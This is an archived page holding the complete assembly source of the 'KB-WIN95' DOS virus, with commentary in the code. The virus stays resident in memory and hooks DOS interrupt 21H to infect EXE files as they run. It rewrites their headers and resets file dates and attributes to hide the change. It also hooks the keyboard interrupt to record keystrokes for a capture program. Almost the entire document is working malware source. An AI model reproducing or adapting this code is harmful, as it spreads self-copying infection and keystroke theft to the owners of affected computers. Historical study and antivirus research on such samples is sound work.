home *** CD-ROM | disk | FTP | other *** search
- ;The KB-WIN95 Virus, Version 1.10
-
- ;(C) 1995 by American Eagle Publications, Inc.
- ;All rights reserved.
-
- .RADIX 16
-
- dseg0000 SEGMENT at 00000
- intff_Ofs EQU 003FCH
- intff_Seg EQU 003FEH
- dseg0000 ENDS
-
-
-
- ENVSEG EQU 2CH ;environment segment loc (in PSP)
-
- ;******************************************************************************
- ;The following segment is the host program, which the virus has infected.
- ;Since this is an EXE file, the program appears unaltered, but the startup
- ;CS:IP in the EXE header does not point to it.
-
- host_code SEGMENT byte
- ASSUME CS:host_code
-
- ORG 0
- HOST:
- MOV AX,4C00H ;viral host program
- INT 21H ;just terminates
-
- host_code ENDS
-
- vgroup GROUP virus_code, sseg, v_data
-
- virus_code SEGMENT byte
- ASSUME CS:virus_code, SS:vgroup
-
- ;******************************************************************************
- ;The following is a data area for the virus
-
- SIGNATURE DB 'KBWin' ;already infected file signature
-
- OLD_INT9_OFS DW 0 ;Original Int 8 vector, from
- OLD_INT9_SEG DW 0 ;before virus took it over
- OLD_INT21_OFS DW 0 ;Original Int 21H vector, from
- OLD_INT21_SEG DW 0 ;before virus took it over
-
- RETURN_LOC_OFS DW 0 ;return ofs from int 21 fctn DE
- RETURN_LOC_SEG DW 0 ;return seg from int 21 fctn DE
-
- SEG_VAR1 DW 0
- BLOCKS DW 80H ;Blocks of memory virus takes up
-
- ;The following is the control block for the DOS EXEC function. It is used by
- ;the virus to execute the host program after it installs itself in memory.
- EXEC_BLK DW 0 ;seg @ of environment string
- DW 80H ;4 byte ptr to command line
- SEG_VAR2 DW 2345H
- DW 5CH ;4 byte ptr to first FCB
- SEG_VAR3 DW 2345H
- DW 6CH ;4 byte ptr to second FCB
- SEG_VAR4 DW 2345H
-
- SP_INIT DW 400 ;Pre-infection SP startup val
- SS_INIT DW 7 ;Pre-infection SS startup val
-
- IP_INIT DW OFFSET HOST ;Pre-infection IP startup val
- CS_INIT DW 0 ;Pre-infection CS startup val
- ;Don't move the host!
-
- old_ff_ofs DW 0 ;save old int FF offset here
- old_ff_seglo DW 0 ;and seg low byte here
-
- EXE_FLAG DB 1 ;flag to tell COM or EXE file
-
- EXE_HEADER_BUF DB 0,0 ;Buffer for EXE hdr of file
- EH_LST_PG_SIZE DW 0 ;now being infected
- EH_PAGES DW 0 ;page count
- DW 0
- EH_HDR_PARAS DW 0 ;header size in paragraphs
- DB 4 dup (0)
- EH_SS_INIT DW 0 ;Stack seg init value
- EH_SP_INIT DW 0 ;Stack ptr init value
- EH_CHECKSUM DW 0 ;Header checksum
- EH_IP_INIT DW 0 ;Instr ptr init value
- EH_CS_INIT DW 0 ;Code seg init value
-
- DB 22,0,0,0
- FILE_BUF DB 0B8,0,4C,0CDH,21 ;buffer for file reading
-
- FILE_HANDLE DW 0 ;open file handle saved here
- FILE_ATTR DW 0 ;orig attacked file attr
- FILE_DATE DW 0 ;orig attacked file date
- FILE_TIME DW 0 ;orig attacked file time
-
- EXE_PG_SIZE DW 200 ;Size of a page in exe header
- ;Why a variable??
-
- PAGE_16 DW 10 ;Size of a memory page
- ;Why a variable?
-
- EXE_SIZE_LO DW 0 ;size of EXE file being infected
- EXE_SIZE_HI DW 0
-
- ASCIIZ_OFS DW 0 ;@ of asciiz string on int 21/4B
- ASCIIZ_SEG DB 0
-
- COMMAND_FILE DB 'COMMAND.COM' ;COMMAND.COM name
-
- ;******************************************************************************
- ;When attached to an EXE, the virus starts execution here.
-
- EXE_START PROC NEAR
- CLD
- MOV AX,ES
- ADD AX,0010H ;add 10 to find start of EXE
- ADD WORD PTR CS:CS_INIT,AX ;code, and relocate this
- ADD WORD PTR CS:SS_INIT,AX ;and this
- MOV WORD PTR CS:SEG_VAR1,ES ;used for storage, and for
- MOV WORD PTR CS:SEG_VAR2,ES ;an EXEC function ctrl block
- MOV WORD PTR CS:SEG_VAR3,ES
- MOV WORD PTR CS:SEG_VAR4,ES
- MOV AX,04B38H ;see if virus is resident
- INT 21H ;by trying to call it
- CMP AX,0300H
- JNE NOT_INSTALLED_YET ;not resident, go resident
-
- ;Virus is in memory already, so just pass control to host
- MOV SS,WORD PTR CS:SS_INIT ;set stack up for return
- MOV SP,WORD PTR CS:SP_INIT ;to host
- JMP DWORD PTR CS:IP_INIT ;and jump to host
-
- ;If we come here, the virus is not in memory, so we are going to put it there.
- NOT_INSTALLED_YET:
- XOR AX,AX
- MOV ES,AX ;es=0
- ASSUME ES:dseg0000
- MOV AX,ES:[intFF_Seg] ;are all that's used
- MOV CS:[old_FF_seglo],AX
- MOV AX,WORD PTR ES:[intFF_Ofs] ;save old int FF
- MOV WORD PTR CS:[old_FF_ofs],AX ;actually only 3 bytes
- MOV WORD PTR ES:intff_Ofs,0A5F3H ;put "rep movsw" here
- MOV BYTE PTR ES:intff_Seg,0CBH ;put "retf" here
- MOV AX,DS ;Get PSP from DS
- ADD AX,10H
- MOV ES,AX ;point to start of program code
- PUSH CS
- POP DS ;ds=cs
- MOV CX,OFFSET vgroup:END_VIRUS ;bytes in virus (to move)
- inc cx
- SHR CX,1 ;set up for rep movsw
- XOR SI,SI
- MOV DI,SI ;di=si=0
- PUSH ES ;return to relocated virus
- MOV AX,OFFSET JUMP_RETURN
- PUSH AX
- DB 0EA,0FC,03,00,00 ;jmp far ptr INTFF_OFS
-
- ;The rep movsw at INT FF here moves the virus to offset 100H in the PSP. That
- ;only really does something when the code is attached to an EXE file. For COM
- ;files, the virus is at the start of the code anyhow, so the move has no effect.
- ;Once moved, the virus must go resident. The following code accomplishes this.
-
- JUMP_RETURN: MOV AX,CS ;return from move
- MOV SS,AX
- MOV SP,OFFSET vgroup:STACK_END ;initialize the stack for
- XOR AX,AX ;self contained virus
- MOV DS,AX ;ds=0
- MOV AX,WORD PTR CS:[old_FF_ofs] ;restore int FF value
- ASSUME DS:dseg0000
- MOV WORD PTR DS:[intFF_Ofs],AX
- MOV AL,BYTE PTR CS:[old_FF_seglo]
- MOV BYTE PTR DS:[intFF_Seg],AL
- MOV BX,SP ;sp=top of the virus-16
- MOV CL,4
- SHR BX,CL
- ADD BX,11H ;bx=sp/16+32=mem blocks needed
- MOV WORD PTR CS:[BLOCKS],BX
- MOV AH,4AH
- MOV ES,WORD PTR CS:SEG_VAR1 ;set es=PSP
- INT 21H ;reduce memory to virus size
-
- MOV AX,3521H ;now hook interrupt 21H
- INT 21H ;get old vector
- MOV WORD PTR CS:OLD_INT21_OFS,BX ;and save it here
- MOV WORD PTR CS:OLD_INT21_SEG,ES
- PUSH CS
- POP DS
- MOV DX,OFFSET VIR_INT21 ;and change vector to here
- MOV AX,2521H
- INT 21H
-
- mov ax,3509H ;install keyboard interrupt handler
- int 21H
- mov OLD_INT9_OFS,bx
- mov OLD_INT9_SEG,es
- mov dx,OFFSET INT_9
- mov ax,2509H
- int 21H
-
- ;Now we get set up for a DOS EXEC call
- ASSUME DS:virus_code
- MOV ES,WORD PTR DS:SEG_VAR1 ;es=PSP
- MOV ES,WORD PTR ES:[ENVSEG] ;get environment segment
- XOR DI,DI ;search environment for this
- MOV CX,7FFFH ;file's name
- XOR AL,AL ;al=0
- SRCH_LP: REPNZ SCASB ;flags = AL - ES:[DI]
- CMP BYTE PTR ES:[DI],AL ;a double zero? (envir end)
- LOOPNZ SRCH_LP ;loop if not
- MOV DX,DI
- ADD DX,3 ;dx=offset of this pgm's path
- MOV AX,4B00H ;setup DOS EXEC function
-
- PUSH ES
- POP DS ;ds=es=environment seg
- PUSH CS
- POP ES ;es=cs=here
- MOV BX,OFFSET EXEC_BLK ;all ready for EXEC now
-
- ;now EXEC the (infected) host pgm
- PUSHF ;simulate int 21H to real hndlr
- CALL DWORD PTR CS:OLD_INT21_OFS
- PUSH DS
- POP ES ;es=ds (for DOS call)
- MOV AH,49H ;free memory from EXEC
- INT 21H
- MOV AH,4DH ;get return code from host
- INT 21H
- MOV AH,31H
- MOV DX,OFFSET vgroup:END_VIRUS ;virus size
- MOV CL,4
- SHR DX,CL
- ADD DX,11H ;number of paragraphs to save
- INT 21H ;go TSR
-
- EXE_START ENDP
-
- ;*****************************************************************************
- ;All of the following are interrupt handlers for the virus.
-
- INCLUDE DEFS.ASM
-
- ;This is the keyboard handler. It puts keystrokes in the buffer to be picked
- ;up by the capture program.
- INT_9:
- push ax
- in al,60H
- push ax
- pushf
- call DWORD PTR cs:[OLD_INT9_OFS]
- pop ax
- and al,80H
- jnz I9EX
- cli
- push ds
- push si
- push cx
- push bx
- push ax
- xor ax,ax
- mov ds,ax
- mov bx,41CH
- mov bx,[bx]
- sub bx,2
- cmp bx,1CH
- jne I91
- mov bx,3CH
- I91: add bx,400H
- mov ax,[bx] ;get word just put in key buffer
- mov bx,BUF_LOC+2
- add WORD PTR [bx],2
- mov bx,[bx]
- sub bx,2
- cmp bx,BUF_SIZE
- jg I9X
- add bx,BUF_LOC+4
- mov [bx],ax
-
- I9X: pop ax
- pop bx
- pop cx
- pop si
- pop ds
- I9EX: pop ax
- iret
-
-
- ;Viral interrupt 21H handler
- ;This interrupt handler traps function 4B.
-
- VIR_INT21 PROC NEAR
- PUSHF ;save flags
- CMP AX,04B38H ;functio 4B38H?
- JNE NOT_4B38 ;no, go check for others
- MOV AX,300H ;yes, set present flag, ax=300H
- POPF ;restore flags
- IRET ;and exit
- NOT_4B38:
- CMP AX,4B00H ;function 4B, subfctn 0
- JNE EXIT_VINT21 ;nope, just exit
- JMP NEAR PTR INTERCEPT_4B ;else go handle 4B
- EXIT_VINT21: POPF ;restore flags
- JMP DWORD PTR CS:OLD_INT21_OFS ;and pass ctrl to DOS
-
- ;Function 4B Handler, control passed here first
- INTERCEPT_4B:
- MOV WORD PTR CS:FILE_HANDLE,0FFFFH ;initialize handle
- MOV WORD PTR CS:ASCIIZ_OFS,DX ;save @ of file name
- MOV WORD PTR CS:ASCIIZ_SEG,DS
- PUSH AX ;and save everything
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH DS
- PUSH ES
- CLD
- MOV DI,DX ;put file name offset in di
- XOR DL,DL ;prep for disk space call
- CMP BYTE PTR [DI+1],3AH ;is drive specified in string?
- JNE CURR_DRIVE ;no, use current drive
- MOV DL,BYTE PTR [DI] ;else get drive letter in dl
- AND DL,1FH ;and make it binary
- CURR_DRIVE: MOV AH,36H
- INT 21H ;get free disk space
- CMP AX,0FFFFH ;see if an error
- JNE OK1
- LOCAL_ERR1: JMP NEAR PTR GET_OUT_NOW ;go handle error
- OK1: MUL BX ;ax*bx=available sectors
- MUL CX ;ax*bx*cx=available bytes
- OR DX,DX ;if dx<>0, plenty of space
- JNE OK2
- CMP AX,OFFSET vgroup:END_VIRUS ;need at least this many bytes
- JB LOCAL_ERR1 ;if not enough, handle error
-
- ;If we get here, there is enough room on disk to infect a file.
- OK2: MOV DX,WORD PTR CS:ASCIIZ_OFS ;get file name @
- PUSH DS
- POP ES ;es=ds
- XOR AL,AL
- MOV CX,41H
- REPNZ SCASB ;set di=end of asciiz string
-
- MOV SI,WORD PTR CS:ASCIIZ_OFS
- UPCASE_LOOP: MOV AL,BYTE PTR [SI] ;make the file name upper case
- OR AL,AL
- JE OK4 ;done when al=0
- CMP AL,61H ;skip non-lower case chars
- JB NOT_LOWER
- CMP AL,7AH
- JA NOT_LOWER
- SUB BYTE PTR [SI],20H ;make upper case
- NOT_LOWER: INC SI ;do next char
- JMP SHORT UPCASE_LOOP
-
- ;Now string is upper case
- OK3: MOV CX,0BH ;check file name for COMMAND.COM
- SUB SI,CX
- MOV DI,OFFSET COMMAND_FILE ;'COMMAND.COM' stored here
- PUSH CS
- POP ES
- MOV CX,0BH ;redundant
- REPZ CMPSB ;see if it is
- JNE OK4 ;no, carry on
- JMP NEAR PTR GET_OUT_NOW ;yes, don't infect!
-
- ;It isn't COMMAND.COM either
- OK4: MOV AX,4300H ;get file attribute
- INT 21H
- JB ERHNDLR_1 ;problem, get out
- MOV WORD PTR CS:FILE_ATTR,CX;save attribute here
- ERHNDLR_1: JB ERHNDLR_2 ;err handling is a big chain
-
- XOR AL,AL ;see whether COM or EXE file
- MOV BYTE PTR CS:EXE_FLAG,AL ;assume COM
- PUSH DS
- POP ES
- MOV DI,DX
- MOV CX,41H
- REPNZ SCASB ;go to end of string
- CMP BYTE PTR [DI-2],4DH ;is last byte M?
- JE IS_COM ;yes, jump
- CMP BYTE PTR [DI-2],6DH ;is it m?
- JE IS_COM ;yes, jump
- INC BYTE PTR CS:EXE_FLAG ;set flag = 1 for an EXE file
- IS_COM: MOV AX,3D00H ;open the file now
- INT 21H ;DS:DX=name, still
- ERHNDLR_2: JB ERHNDLR_3 ;problem, get out
- MOV WORD PTR CS:FILE_HANDLE,AX ;save handle here
-
- MOV BX,AX ;move to end of file - 5
- MOV AX,4202H
- MOV CX,0FFFFH ;offset in cx:dx = - 5
- MOV DX,0FFFBH
- INT 21H
- JB ERHNDLR_2 ;problem, get out
- ADD AX,0005H ;dx:ax is new ptr location=eof
- MOV CX,5
- MOV DX,OFFSET FILE_BUF ;buffer to read file into
- MOV AX,CS
- MOV DS,AX
- MOV ES,AX ;es=ds=cs
- MOV AH,3FH
- INT 21H ;read last 5 bytes of file
- MOV DI,DX ;they should be 'KBWin'
- MOV SI,OFFSET SIGNATURE
- REPZ CMPSB ;compare with SIGNATURE
- JNE OK5 ;ok, not infected
- MOV AH,3EH ;already infected
- INT 21H ;close file
- JMP NEAR PTR GET_OUT_NOW ;and don't re-infect
-
- ;File is not already infected
- OK5:
- LDS DX,DWORD PTR ASCIIZ_OFS ;get file name in ds:dx
- XOR CX,CX
- MOV AX,4301H ;set file attribute to normal,
- INT 21H ;and r/w
- ERHNDLR_3: JB ERHNDLR_4 ;problem, get out
- MOV BX,WORD PTR CS:FILE_HANDLE ;
- MOV AH,3EH ;close/open to make sure
- INT 21H ;you can write to it
- MOV WORD PTR CS:FILE_HANDLE,0FFFFH
- MOV AX,3D02H
- INT 21H
- JB ERHNDLR_4 ;error, get out
- MOV WORD PTR CS:FILE_HANDLE,AX ;save new handle
-
- MOV AX,CS ;es=ds=cs
- MOV DS,AX
- MOV ES,AX
- MOV BX,WORD PTR FILE_HANDLE
- MOV AX,5700H ;save date/time of file
- INT 21H ;get it
- MOV WORD PTR DS:FILE_DATE,DX;save it here
- MOV WORD PTR DS:FILE_TIME,CX
- MOV AX,4200H ;set file ptr to start of file
- XOR CX,CX
- MOV DX,CX
- INT 21H
- ERHNDLR_4: JB ERHNDLR_7 ;error, get out
- CMP BYTE PTR DS:EXE_FLAG,0 ;is it a COM file?
- JNE INFECT_EXE ;yes, go infect a COM file
-
- MOV AH,3EH ;problem, close file
- MOV BX,WORD PTR DS:FILE_HANDLE
- INT 21H
- JMP NEAR PTR GET_OUT_NOW ;and exit gracefully
-
- ;The following routine handles infecting an EXE file. It does two things:
- ;(1) it reads the EXE header of the file into a buffer, and stores the startup
- ;values from the host, and sets them up for the virus. Then it writes the header
- ;back to the file. (2) it writes the virus code to the end of the file.
- INFECT_EXE: MOV CX,1CH ;read EXE header into buffer
- MOV DX,OFFSET EXE_HEADER_BUF
- MOV AH,3FH
- INT 21H
- ERHNDLR_7: JB ERHNDLR_8 ;problem, get out
-
- MOV WORD PTR EH_CHECKSUM,1984H ;checksum identifies jerus!
-
- MOV AX,EH_SS_INIT
- MOV SS_INIT,AX ;set up pointers for ss:sp for
- MOV AX,EH_SP_INIT
- MOV SP_INIT,AX ;after virus executes
- MOV AX,EH_IP_INIT
- MOV IP_INIT,AX ;same for cs:ip
- MOV AX,DS:EH_CS_INIT
- MOV DS:CS_INIT,AX
-
- MOV AX,EH_PAGES ;now compute EXE size
- CMP EH_LST_PG_SIZE,0
- JE SKIPDEC
- DEC AX
- SKIPDEC: MUL EXE_PG_SIZE
- ADD AX,EH_LST_PG_SIZE
- ADC DX,0 ;ax:dx=size of EXE file
- ADD AX,0FH
- ADC DX,0 ;adjust up to even page
- AND AX,0FFF0H
-
- MOV EXE_SIZE_LO,AX ;save size here
- MOV EXE_SIZE_HI,DX
- ADD AX,OFFSET vgroup:END_VIRUS ;add size of JERUSALEM
- ADC DX,0
- ERHNDLR_8: JB ERHNDLR_9 ;too big (never!), exit
- DIV EXE_PG_SIZE ;calculate new page count
- OR DX,DX ;and last page size for EXE
- JE SKIPINC
- INC AX
- SKIPINC: MOV EH_PAGES,AX ;and put it back in
- MOV EH_LST_PG_SIZE,DX
-
- MOV AX,EXE_SIZE_LO ;get original file size
- MOV DX,EXE_SIZE_HI
- DIV PAGE_16 ;divide by 16
- SUB AX,EH_HDR_PARAS ;get size of EXE code (not hdr)
- MOV EH_CS_INIT,AX ;in para's, and use to set up
- MOV EH_IP_INIT,OFFSET EXE_START
- MOV EH_SS_INIT,AX ;initial cs:ip, ss:sp
-
- MOV EH_SP_INIT,OFFSET vgroup:STACK_END ;set initial sp
- XOR CX,CX ;go to beginning of file to
- MOV DX,CX ;infect
- MOV AX,4200H
- INT 21H
- ERHNDLR_9: JB ERHNDLR_10 ;problem, get out
-
- MOV CX,1CH ;write new exe header
- MOV DX,OFFSET EXE_HEADER_BUF
- MOV AH,40H
- INT 21H
- ERHNDLR_10: JB ERHNDLR_11 ;error, get out
- CMP AX,CX ;correct no of bytes written?
- JNE INFECT_DONE ;no, get out, file damaged
-
- MOV DX,EXE_SIZE_LO ;ok, go to end of file
- MOV CX,EXE_SIZE_HI
- MOV AX,4200H
- INT 21H
- ERHNDLR_11: JB INFECT_DONE ;error, file corrupt, exit
- XOR DX,DX ;write virus to end of
- MOV CX,OFFSET vgroup:END_VIRUS ;file being infected
- MOV AH,40H
- INT 21H ;that's it, the file is infected
-
- ;The infection process is complete when we reach here, for both COM and EXE
- ;files. This routine cleans up.
- INFECT_DONE:
- CMP WORD PTR CS:FILE_HANDLE,-1 ;see if file is open
- JE GET_OUT_NOW ;no, we had an error, so exit
-
- MOV BX,WORD PTR CS:FILE_HANDLE
- MOV DX,WORD PTR CS:FILE_DATE
- MOV CX,WORD PTR CS:FILE_TIME
- MOV AX,5701H ;reset file date/time to orig
- INT 21H
-
- MOV AH,3EH ;close the file
- INT 21H
-
- LDS DX,DWORD PTR CS:ASCIIZ_OFS
- MOV CX,WORD PTR CS:FILE_ATTR
- MOV AX,4301H ;reset file attribute to
- INT 21H ;pre-infection values
-
- ;This routine just passes control to DOS to let it handle the EXEC (4B) function
- ;after the virus has done what it wants to do.
- GET_OUT_NOW: POP ES ;restore registers
- POP DS
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POPF
- JMP DWORD PTR CS:OLD_INT21_OFS ;give DOS control
-
- VIR_INT21 ENDP
-
- virus_code ENDS
-
-
- sseg SEGMENT byte STACK
-
- ;The following bytes are for stack space
-
- STACK_BYTES DB 267D DUP (0)
- STACK_END EQU $
-
- sseg ENDS
-
- v_data SEGMENT byte
- DB 'KBWin'
- END_VIRUS EQU $ ;label for end of virus
- v_data ENDS
-
- END EXE_START
-